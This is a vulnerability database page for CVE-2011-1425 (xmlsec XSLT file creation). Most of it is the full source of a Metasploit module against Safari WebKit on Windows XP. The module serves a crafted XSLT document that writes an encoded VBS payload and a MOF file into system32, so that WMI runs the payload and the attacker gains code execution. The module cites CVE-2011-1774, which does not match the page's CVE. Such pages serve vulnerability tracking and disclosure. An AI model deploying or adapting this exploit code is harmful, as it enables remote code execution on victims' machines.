CVE-2011-1425 Detail

CVE-2011-1425

OWSAP

A01-Broken Access Control

EPSS

1.24%V3

Vector

Network

Published

2011-04-02
23h00 +00:00

Modified

2017-08-16
12h57 +00:00

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CVE Descriptions

xslt.c in XML Security Library (aka xmlsec) before 1.2.17, as used in WebKit and other products, when XSLT is enabled, allows remote attackers to create or overwrite arbitrary files via vectors involving the libxslt output extension and a ds:Transform element during signature verification.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-264	Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	5.1		AV:N/AC:H/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 17993

Publication date : 2011-10-17 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: safari_xslt_output.rb 13987 2011-10-18 07:39:50Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::WbemExec def initialize(info = {}) super(update_info(info, 'Name' => 'Apple Safari Webkit libxslt Arbitrary File Creation', 'Description' => %q{ This module exploits a file creation vulnerability in the Webkit rendering engine. It is possible to redirect the output of a XSLT transformation to an arbitrary file. The content of the created file must be ASCII or UTF-8. The destination path can be relative or absolute. This module has been tested on Safari and Maxthon. Code execution can be acheived by first uploading the payload to the remote machine in VBS format, and then upload a MOF file, which enables Windows Management Instrumentation service to execute the VBS. }, 'License' => MSF_LICENSE, 'Author' => ['Nicolas Gregoire'], 'Version' => '$Revision: 13987 $', 'References' => [ ['CVE', '2011-1774'], ['OSVDB', '74017'], ['URL', 'http://lists.apple.com/archives/Security-announce/2011/Jul/msg00002.html'], ], 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Targets' => [ #Windows before Vista [ 'Automatic', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 20 2011')) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Check target before attacking agent = request.headers['User-Agent'] if agent !~ /Windows NT 5\.1/ or agent !~ /Safari/ or agent !~ /Version\/5\.0\.\d/ print_error("This target isn't supported: #{agent.to_s}") send_not_found(cli) return end url = "http://" url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] url += ":" + datastore['SRVPORT'] + get_resource() + "/" content = <<-EOS <?xml-stylesheet type="text/xml" href="#fragment"?>  <!DOCTYPE doc [ <!ATTLIST xsl:stylesheet id ID #REQUIRED >]> <doc>  <mof> <location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\wbem\\mof\\#{@mof_name}]]></location> <content><![CDATA[#{@mof_content}]]></content> </mof><vbs> <location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\#{@vbs_name}]]></location> <content><![CDATA[#{@vbs_content}]]></content> </vbs>  <xsl:stylesheet id="fragment" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:sx="http://icl.com/saxon" extension-element-prefixes="sx" xmlns="http://www.w3.org/1999/xhtml" > <xsl:output method="xml" indent="yes" />  <xsl:template match="/">  <xsl:variable name="moflocation" select="//mof/location/text()"/> <xsl:variable name="vbslocation" select="//vbs/location/text()"/>  <sx:output file="{$vbslocation}" method="text"> <xsl:value-of select="//vbs/content"/> </sx:output> <sx:output file="{$moflocation}" method="text"> <xsl:value-of select="//mof/content"/> </sx:output>  <html> </html> </xsl:template> </xsl:stylesheet> </doc> EOS #Clear the extra tabs content = content.gsub(/^\t\t/, '') print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, content, {'Content-Type'=>'application/xml'}) handler(cli) end def exploit # In order to save binary data to the file system the payload is written to a VBS # file and execute it from there via a MOF @mof_name = rand_text_alpha(rand(5)+5) + ".mof" @vbs_name = rand_text_alpha(rand(5)+5) + ".vbs" print_status("Encoding payload into vbs...") payload = generate_payload_exe @vbs_content = Msf::Util::EXE.to_exe_vbs(payload) print_status("Generating mof file...") @mof_content = generate_mof(@mof_name, @vbs_name) super end end